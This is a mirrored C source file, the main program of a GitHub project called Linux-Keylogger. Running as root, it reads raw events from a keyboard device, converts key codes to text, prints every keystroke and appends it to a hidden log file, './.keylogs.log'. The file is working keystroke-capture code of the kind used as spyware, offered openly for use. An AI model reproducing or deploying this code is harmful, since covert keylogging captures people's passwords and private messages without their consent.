mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 16:30:07 -07:00
58 lines
1.2 KiB
C
58 lines
1.2 KiB
C
#include <linux/input.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#include "keylogger.h"
|
|
#include "mappings.h"
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
// Convert key codes to string values
|
|
// ex: mappings[code] = "value"
|
|
char * mappings[1024];
|
|
int i;
|
|
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
|
generate_mappings(mappings);
|
|
|
|
|
|
// Check for errors
|
|
if (input_has_errors(argc, argv)) {
|
|
return -1;
|
|
}
|
|
if (!user_is_root()) {
|
|
return -1;
|
|
}
|
|
|
|
// Start keyboard device as read only
|
|
int fd;
|
|
fd = open(argv[1], O_RDONLY);
|
|
|
|
// Initialize input event
|
|
struct input_event ev;
|
|
|
|
// Scan for key strokes and print them
|
|
|
|
|
|
// Open log file for append
|
|
FILE * logfile;
|
|
logfile = fopen("./.keylogs.log", "a");
|
|
|
|
|
|
puts("Keylogger started. Stop it using Ctrl-C");
|
|
while (1){
|
|
int key_code = get_key_press(fd, ev); // get key code
|
|
if (key_code < 1024) {
|
|
char * log = mappings[key_code];
|
|
printf("%s\n", log); // print value of key code
|
|
fprintf(logfile, "%s", log); // write to log file
|
|
}
|
|
fflush(logfile);
|
|
}
|
|
|
|
return 0;
|
|
}
|